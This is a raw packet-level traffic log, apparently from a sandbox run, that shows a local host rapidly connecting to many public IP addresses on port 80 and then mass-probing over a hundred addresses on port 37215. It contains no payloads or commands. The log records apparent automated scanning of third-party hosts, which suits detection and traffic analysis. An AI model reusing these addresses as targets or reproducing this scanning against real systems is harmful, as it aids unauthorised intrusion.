Dec 3, 2024 23:16:48.047612906 CET	36340	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:48.047630072 CET	36340	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:48.047924995 CET	36526	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:48.048310995 CET	46408	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:48.048310995 CET	46408	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:48.048604012 CET	46594	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:48.048975945 CET	35012	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:48.048975945 CET	35012	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:48.049282074 CET	35196	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:48.049648046 CET	58900	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:48.049658060 CET	58900	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:48.049959898 CET	59082	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:48.159714937 CET	80	44924	137.96.172.137	192.168.2.23
Dec 3, 2024 23:16:48.159876108 CET	44924	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.159888983 CET	44924	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.159905910 CET	44924	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.160232067 CET	44966	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.160573959 CET	80	54912	158.229.16.172	192.168.2.23
Dec 3, 2024 23:16:48.160612106 CET	54912	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.160705090 CET	54912	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.160705090 CET	54912	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.161000013 CET	54954	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.161004066 CET	80	60642	65.196.231.131	192.168.2.23
Dec 3, 2024 23:16:48.161052942 CET	60642	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.161453009 CET	60642	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.161453009 CET	60642	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.161643982 CET	80	60744	80.213.14.165	192.168.2.23
Dec 3, 2024 23:16:48.161684990 CET	60744	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.161741018 CET	60684	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.162218094 CET	60744	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.162231922 CET	60744	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.162302971 CET	80	40216	149.214.222.91	192.168.2.23
Dec 3, 2024 23:16:48.162343025 CET	40216	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.162538052 CET	60786	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.162902117 CET	80	47328	14.201.184.218	192.168.2.23
Dec 3, 2024 23:16:48.162940025 CET	47328	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.162961006 CET	40216	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.162961006 CET	40216	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.163178921 CET	80	48502	126.128.117.174	192.168.2.23
Dec 3, 2024 23:16:48.163223028 CET	48502	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:48.163232088 CET	80	41418	84.171.71.67	192.168.2.23
Dec 3, 2024 23:16:48.163240910 CET	80	55456	111.129.118.141	192.168.2.23
Dec 3, 2024 23:16:48.163254023 CET	40258	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.163264036 CET	41418	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.163283110 CET	55456	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:48.163419962 CET	80	48388	216.45.248.172	192.168.2.23
Dec 3, 2024 23:16:48.163429976 CET	80	50374	118.211.183.67	192.168.2.23
Dec 3, 2024 23:16:48.163458109 CET	48388	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.163460970 CET	50374	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.163461924 CET	80	41142	105.208.107.220	192.168.2.23
Dec 3, 2024 23:16:48.163501978 CET	41142	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.163664103 CET	55456	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:48.163672924 CET	47328	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.163672924 CET	47328	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.163943052 CET	47370	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.164280891 CET	48502	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:48.164346933 CET	50374	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.164346933 CET	50374	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.164604902 CET	50506	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.164949894 CET	41142	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.164949894 CET	41142	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.165211916 CET	41272	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.165544987 CET	48388	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.165544987 CET	48388	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.165801048 CET	48518	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.166142941 CET	41418	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.166142941 CET	41418	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.166384935 CET	41548	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.167395115 CET	47266	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:48.167561054 CET	80	36494	199.96.168.179	192.168.2.23
Dec 3, 2024 23:16:48.167598963 CET	36494	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.167659998 CET	36494	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.167659998 CET	36494	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.167927027 CET	36534	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.168425083 CET	80	58128	192.62.46.240	192.168.2.23
Dec 3, 2024 23:16:48.169145107 CET	80	42638	177.95.70.145	192.168.2.23
Dec 3, 2024 23:16:48.169859886 CET	80	57340	186.45.45.229	192.168.2.23
Dec 3, 2024 23:16:48.170610905 CET	80	48110	75.96.152.124	192.168.2.23
Dec 3, 2024 23:16:48.171262026 CET	80	36340	88.109.144.121	192.168.2.23
Dec 3, 2024 23:16:48.171948910 CET	80	46408	107.254.158.162	192.168.2.23
Dec 3, 2024 23:16:48.172612906 CET	80	35012	116.59.162.85	192.168.2.23
Dec 3, 2024 23:16:48.173296928 CET	80	58900	181.16.202.67	192.168.2.23
Dec 3, 2024 23:16:48.211983919 CET	80	36340	88.109.144.121	192.168.2.23
Dec 3, 2024 23:16:48.212008953 CET	80	48110	75.96.152.124	192.168.2.23
Dec 3, 2024 23:16:48.212016106 CET	80	57340	186.45.45.229	192.168.2.23
Dec 3, 2024 23:16:48.212023020 CET	80	42638	177.95.70.145	192.168.2.23
Dec 3, 2024 23:16:48.212032080 CET	80	58128	192.62.46.240	192.168.2.23
Dec 3, 2024 23:16:48.215867996 CET	80	58900	181.16.202.67	192.168.2.23
Dec 3, 2024 23:16:48.215877056 CET	80	35012	116.59.162.85	192.168.2.23
Dec 3, 2024 23:16:48.215886116 CET	80	46408	107.254.158.162	192.168.2.23
Dec 3, 2024 23:16:48.283588886 CET	80	44924	137.96.172.137	192.168.2.23
Dec 3, 2024 23:16:48.283870935 CET	80	44966	137.96.172.137	192.168.2.23
Dec 3, 2024 23:16:48.284017086 CET	44966	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.284017086 CET	44966	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.284367085 CET	80	54912	158.229.16.172	192.168.2.23
Dec 3, 2024 23:16:48.284656048 CET	80	54954	158.229.16.172	192.168.2.23
Dec 3, 2024 23:16:48.284699917 CET	54954	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.284725904 CET	54954	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.285157919 CET	80	60642	65.196.231.131	192.168.2.23
Dec 3, 2024 23:16:48.285479069 CET	80	60684	65.196.231.131	192.168.2.23
Dec 3, 2024 23:16:48.285516977 CET	60684	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.285538912 CET	60684	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.285886049 CET	80	60744	80.213.14.165	192.168.2.23
Dec 3, 2024 23:16:48.286199093 CET	80	60786	80.213.14.165	192.168.2.23
Dec 3, 2024 23:16:48.286261082 CET	60786	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.286277056 CET	60786	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.286654949 CET	80	40216	149.214.222.91	192.168.2.23
Dec 3, 2024 23:16:48.286933899 CET	80	40258	149.214.222.91	192.168.2.23
Dec 3, 2024 23:16:48.286983967 CET	40258	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.287013054 CET	40258	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.287276983 CET	80	47328	14.201.184.218	192.168.2.23
Dec 3, 2024 23:16:48.287602901 CET	80	47370	14.201.184.218	192.168.2.23
Dec 3, 2024 23:16:48.287642956 CET	47370	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.287666082 CET	47370	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.287729025 CET	80	55456	111.129.118.141	192.168.2.23
Dec 3, 2024 23:16:48.287767887 CET	55456	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:48.287978888 CET	80	50374	118.211.183.67	192.168.2.23
Dec 3, 2024 23:16:48.288289070 CET	80	50506	118.211.183.67	192.168.2.23
Dec 3, 2024 23:16:48.288326025 CET	50506	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.288351059 CET	50506	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.288626909 CET	80	41142	105.208.107.220	192.168.2.23
Dec 3, 2024 23:16:48.288635969 CET	80	48502	126.128.117.174	192.168.2.23
Dec 3, 2024 23:16:48.288666964 CET	48502	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:48.288861036 CET	80	41272	105.208.107.220	192.168.2.23
Dec 3, 2024 23:16:48.288904905 CET	41272	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.288929939 CET	41272	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.289179087 CET	80	48388	216.45.248.172	192.168.2.23
Dec 3, 2024 23:16:48.289483070 CET	80	48518	216.45.248.172	192.168.2.23
Dec 3, 2024 23:16:48.289525986 CET	48518	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.289550066 CET	48518	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.289863110 CET	80	41418	84.171.71.67	192.168.2.23
Dec 3, 2024 23:16:48.290030956 CET	80	41548	84.171.71.67	192.168.2.23
Dec 3, 2024 23:16:48.290066004 CET	41548	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.290092945 CET	41548	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.291047096 CET	80	47266	161.47.72.130	192.168.2.23
Dec 3, 2024 23:16:48.291086912 CET	47266	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:48.291116953 CET	47266	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:48.291294098 CET	80	36494	199.96.168.179	192.168.2.23
Dec 3, 2024 23:16:48.291599035 CET	80	36534	199.96.168.179	192.168.2.23
Dec 3, 2024 23:16:48.291642904 CET	36534	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.291666985 CET	36534	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.323904991 CET	80	44924	137.96.172.137	192.168.2.23
Dec 3, 2024 23:16:48.328054905 CET	80	47328	14.201.184.218	192.168.2.23
Dec 3, 2024 23:16:48.328066111 CET	80	40216	149.214.222.91	192.168.2.23
Dec 3, 2024 23:16:48.328135014 CET	80	60744	80.213.14.165	192.168.2.23
Dec 3, 2024 23:16:48.328142881 CET	80	60642	65.196.231.131	192.168.2.23
Dec 3, 2024 23:16:48.328150034 CET	80	54912	158.229.16.172	192.168.2.23
Dec 3, 2024 23:16:48.331882000 CET	80	36494	199.96.168.179	192.168.2.23
Dec 3, 2024 23:16:48.331890106 CET	80	41418	84.171.71.67	192.168.2.23
Dec 3, 2024 23:16:48.331907988 CET	80	48388	216.45.248.172	192.168.2.23
Dec 3, 2024 23:16:48.331917048 CET	80	41142	105.208.107.220	192.168.2.23
Dec 3, 2024 23:16:48.331921101 CET	80	50374	118.211.183.67	192.168.2.23
Dec 3, 2024 23:16:48.407844067 CET	80	44966	137.96.172.137	192.168.2.23
Dec 3, 2024 23:16:48.407982111 CET	80	44966	137.96.172.137	192.168.2.23
Dec 3, 2024 23:16:48.408113956 CET	44966	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.408505917 CET	80	54954	158.229.16.172	192.168.2.23
Dec 3, 2024 23:16:48.408551931 CET	54954	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.409390926 CET	80	60684	65.196.231.131	192.168.2.23
Dec 3, 2024 23:16:48.409429073 CET	60684	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.410063028 CET	80	60786	80.213.14.165	192.168.2.23
Dec 3, 2024 23:16:48.410110950 CET	60786	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.410948992 CET	80	40258	149.214.222.91	192.168.2.23
Dec 3, 2024 23:16:48.410991907 CET	40258	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.411581993 CET	80	47370	14.201.184.218	192.168.2.23
Dec 3, 2024 23:16:48.411622047 CET	47370	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.412153959 CET	80	50506	118.211.183.67	192.168.2.23
Dec 3, 2024 23:16:48.412195921 CET	50506	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.412838936 CET	80	41272	105.208.107.220	192.168.2.23
Dec 3, 2024 23:16:48.412879944 CET	41272	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.413451910 CET	80	48518	216.45.248.172	192.168.2.23
Dec 3, 2024 23:16:48.413505077 CET	48518	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.414010048 CET	80	41548	84.171.71.67	192.168.2.23
Dec 3, 2024 23:16:48.414047003 CET	41548	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.414926052 CET	80	47266	161.47.72.130	192.168.2.23
Dec 3, 2024 23:16:48.414980888 CET	47266	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:48.415482998 CET	80	36534	199.96.168.179	192.168.2.23
Dec 3, 2024 23:16:48.415524006 CET	36534	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.583494902 CET	50796	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:48.583494902 CET	57618	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:48.583496094 CET	56492	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:48.647417068 CET	57858	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:48.707282066 CET	37215	50796	156.213.87.168	192.168.2.23
Dec 3, 2024 23:16:48.707324982 CET	37215	56492	41.50.74.64	192.168.2.23
Dec 3, 2024 23:16:48.707356930 CET	37215	57618	156.124.55.110	192.168.2.23
Dec 3, 2024 23:16:48.707529068 CET	40597	37215	192.168.2.23	156.127.13.240
Dec 3, 2024 23:16:48.707529068 CET	40597	37215	192.168.2.23	197.81.131.1
Dec 3, 2024 23:16:48.707530022 CET	40597	37215	192.168.2.23	197.120.27.107
Dec 3, 2024 23:16:48.707534075 CET	40597	37215	192.168.2.23	197.3.73.65
Dec 3, 2024 23:16:48.707534075 CET	40597	37215	192.168.2.23	156.225.40.131
Dec 3, 2024 23:16:48.707534075 CET	40597	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:48.707534075 CET	40597	37215	192.168.2.23	156.47.233.200
Dec 3, 2024 23:16:48.707534075 CET	40597	37215	192.168.2.23	41.240.1.22
Dec 3, 2024 23:16:48.707535028 CET	40597	37215	192.168.2.23	156.153.176.175
Dec 3, 2024 23:16:48.707535028 CET	40597	37215	192.168.2.23	41.28.122.113
Dec 3, 2024 23:16:48.707537889 CET	40597	37215	192.168.2.23	156.42.173.143
Dec 3, 2024 23:16:48.707541943 CET	40597	37215	192.168.2.23	197.170.158.13
Dec 3, 2024 23:16:48.707541943 CET	40597	37215	192.168.2.23	197.45.230.253
Dec 3, 2024 23:16:48.707545042 CET	50796	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:48.707554102 CET	40597	37215	192.168.2.23	41.181.27.30
Dec 3, 2024 23:16:48.707655907 CET	56492	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:48.707655907 CET	40597	37215	192.168.2.23	197.142.95.104
Dec 3, 2024 23:16:48.707655907 CET	40597	37215	192.168.2.23	156.113.104.220
Dec 3, 2024 23:16:48.707655907 CET	40597	37215	192.168.2.23	156.54.52.64
Dec 3, 2024 23:16:48.707655907 CET	40597	37215	192.168.2.23	156.2.32.205
Dec 3, 2024 23:16:48.707655907 CET	40597	37215	192.168.2.23	197.68.34.74
Dec 3, 2024 23:16:48.707662106 CET	40597	37215	192.168.2.23	197.48.57.207
Dec 3, 2024 23:16:48.707662106 CET	40597	37215	192.168.2.23	197.81.114.155
Dec 3, 2024 23:16:48.707662106 CET	40597	37215	192.168.2.23	41.118.107.113
Dec 3, 2024 23:16:48.707663059 CET	40597	37215	192.168.2.23	41.23.152.112
Dec 3, 2024 23:16:48.707662106 CET	40597	37215	192.168.2.23	197.165.144.19
Dec 3, 2024 23:16:48.707663059 CET	40597	37215	192.168.2.23	197.28.236.190
Dec 3, 2024 23:16:48.707662106 CET	40597	37215	192.168.2.23	197.101.175.187
Dec 3, 2024 23:16:48.707665920 CET	40597	37215	192.168.2.23	197.22.3.218
Dec 3, 2024 23:16:48.707663059 CET	40597	37215	192.168.2.23	197.21.86.41
Dec 3, 2024 23:16:48.707665920 CET	40597	37215	192.168.2.23	156.151.133.165
Dec 3, 2024 23:16:48.707663059 CET	40597	37215	192.168.2.23	156.100.226.34
Dec 3, 2024 23:16:48.707667112 CET	57618	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:48.707663059 CET	40597	37215	192.168.2.23	41.244.31.150
Dec 3, 2024 23:16:48.707667112 CET	40597	37215	192.168.2.23	156.191.5.57
Dec 3, 2024 23:16:48.707665920 CET	40597	37215	192.168.2.23	197.69.184.39
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	156.245.131.47
Dec 3, 2024 23:16:48.707665920 CET	40597	37215	192.168.2.23	156.204.86.66
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	197.36.174.121
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	156.248.237.161
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	156.142.132.70
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	156.48.44.46
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	41.186.217.161
Dec 3, 2024 23:16:48.707667112 CET	40597	37215	192.168.2.23	156.43.87.207
Dec 3, 2024 23:16:48.707665920 CET	40597	37215	192.168.2.23	197.78.53.218
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	41.50.23.255
Dec 3, 2024 23:16:48.707667112 CET	40597	37215	192.168.2.23	41.193.178.53
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	41.105.12.144
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	197.244.111.212
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	197.167.181.150
Dec 3, 2024 23:16:48.707668066 CET	40597	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	156.7.96.193
Dec 3, 2024 23:16:48.707668066 CET	40597	37215	192.168.2.23	156.160.16.252
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	197.242.23.150
Dec 3, 2024 23:16:48.707672119 CET	40597	37215	192.168.2.23	197.219.141.214
Dec 3, 2024 23:16:48.707670927 CET	40597	37215	192.168.2.23	197.68.87.121
Dec 3, 2024 23:16:48.707668066 CET	40597	37215	192.168.2.23	41.188.119.185
Dec 3, 2024 23:16:48.707672119 CET	40597	37215	192.168.2.23	41.17.151.227
Dec 3, 2024 23:16:48.707722902 CET	40597	37215	192.168.2.23	41.126.79.111
Dec 3, 2024 23:16:48.707722902 CET	40597	37215	192.168.2.23	41.114.246.226
Dec 3, 2024 23:16:48.707722902 CET	40597	37215	192.168.2.23	197.253.80.150
Dec 3, 2024 23:16:48.707731962 CET	40597	37215	192.168.2.23	41.118.120.115
Dec 3, 2024 23:16:48.707731962 CET	40597	37215	192.168.2.23	156.2.9.250
Dec 3, 2024 23:16:48.707731962 CET	40597	37215	192.168.2.23	41.135.23.185
Dec 3, 2024 23:16:48.707784891 CET	40597	37215	192.168.2.23	197.181.43.122
Dec 3, 2024 23:16:48.707784891 CET	40597	37215	192.168.2.23	156.68.138.118
Dec 3, 2024 23:16:48.707784891 CET	40597	37215	192.168.2.23	156.168.74.157
Dec 3, 2024 23:16:48.707784891 CET	40597	37215	192.168.2.23	156.94.18.16
Dec 3, 2024 23:16:48.707784891 CET	40597	37215	192.168.2.23	197.47.192.122
Dec 3, 2024 23:16:48.707784891 CET	40597	37215	192.168.2.23	41.58.221.166
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	156.183.171.17
Dec 3, 2024 23:16:48.707784891 CET	40597	37215	192.168.2.23	197.234.54.3
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	41.152.47.119
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	41.66.243.108
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	197.43.110.147
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	41.30.146.127
Dec 3, 2024 23:16:48.707789898 CET	40597	37215	192.168.2.23	197.57.43.212
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	156.26.122.225
Dec 3, 2024 23:16:48.707789898 CET	40597	37215	192.168.2.23	156.238.66.58
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	41.251.241.94
Dec 3, 2024 23:16:48.707792997 CET	40597	37215	192.168.2.23	41.89.159.237
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	156.168.74.109
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	41.92.204.208
Dec 3, 2024 23:16:48.707792997 CET	40597	37215	192.168.2.23	156.68.212.227
Dec 3, 2024 23:16:48.707789898 CET	40597	37215	192.168.2.23	197.172.148.246
Dec 3, 2024 23:16:48.707792997 CET	40597	37215	192.168.2.23	41.189.150.90
Dec 3, 2024 23:16:48.707787991 CET	40597	37215	192.168.2.23	197.84.193.182
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	197.143.220.214
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	156.35.32.60
Dec 3, 2024 23:16:48.707791090 CET	40597	37215	192.168.2.23	197.103.172.30
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	197.134.242.126
Dec 3, 2024 23:16:48.707792997 CET	40597	37215	192.168.2.23	41.78.253.104
Dec 3, 2024 23:16:48.707787991 CET	40597	37215	192.168.2.23	41.96.91.223
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	156.70.104.213
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	156.146.17.156
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	197.233.213.182
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	197.122.115.237
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	156.33.17.247
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	41.49.47.48
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	197.118.127.30
Dec 3, 2024 23:16:48.707787037 CET	40597	37215	192.168.2.23	197.83.5.214
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	197.35.214.128
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	156.115.228.9
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	41.28.139.238
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	41.103.214.56
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	41.178.152.119
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	156.146.153.220
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	41.211.186.139
Dec 3, 2024 23:16:48.707796097 CET	40597	37215	192.168.2.23	41.44.159.181
Dec 3, 2024 23:16:48.707798004 CET	40597	37215	192.168.2.23	197.11.226.129
Dec 3, 2024 23:16:48.707820892 CET	40597	37215	192.168.2.23	41.129.71.135
Dec 3, 2024 23:16:48.707820892 CET	40597	37215	192.168.2.23	156.125.210.211
Dec 3, 2024 23:16:48.707822084 CET	40597	37215	192.168.2.23	156.153.17.53
Dec 3, 2024 23:16:48.707822084 CET	40597	37215	192.168.2.23	156.28.115.110
Dec 3, 2024 23:16:48.707822084 CET	40597	37215	192.168.2.23	41.84.37.30
Dec 3, 2024 23:16:48.707822084 CET	40597	37215	192.168.2.23	197.71.234.92
Dec 3, 2024 23:16:48.707822084 CET	40597	37215	192.168.2.23	197.235.159.119
Dec 3, 2024 23:16:48.707885981 CET	40597	37215	192.168.2.23	156.244.19.8
Dec 3, 2024 23:16:48.707886934 CET	40597	37215	192.168.2.23	41.199.205.242
Dec 3, 2024 23:16:48.707886934 CET	40597	37215	192.168.2.23	197.107.141.110
Dec 3, 2024 23:16:48.707886934 CET	40597	37215	192.168.2.23	197.216.90.125
Dec 3, 2024 23:16:48.707886934 CET	40597	37215	192.168.2.23	41.114.20.58
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	156.1.235.13
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	156.121.78.1
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.116.102.172
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.215.225.44
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.90.94.98
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	156.209.132.36
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	156.91.29.247
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.97.76.234
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	41.18.133.111
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.172.19.177
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.39.53.89
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.196.174.78
Dec 3, 2024 23:16:48.707891941 CET	40597	37215	192.168.2.23	41.127.93.20
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	156.128.174.3
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	156.166.200.242
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	156.89.224.90
Dec 3, 2024 23:16:48.707891941 CET	40597	37215	192.168.2.23	197.48.21.28
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	197.180.197.146
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.135.116.83
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.61.217.88
Dec 3, 2024 23:16:48.707891941 CET	40597	37215	192.168.2.23	197.200.84.140
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.88.41.27
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.244.89.167
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.149.203.138
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	197.250.134.110
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.33.240.52
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	197.165.182.243
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	41.51.41.137
Dec 3, 2024 23:16:48.707891941 CET	40597	37215	192.168.2.23	197.173.217.174
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	156.44.165.203
